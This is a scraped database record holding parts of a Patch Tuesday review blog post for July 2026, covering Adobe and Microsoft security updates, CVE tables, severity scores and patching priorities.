Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:12.300667Z"}, {"uuid": "d97e0a61-d0ee-48b8-91da-b78f63ca8a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54124", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics 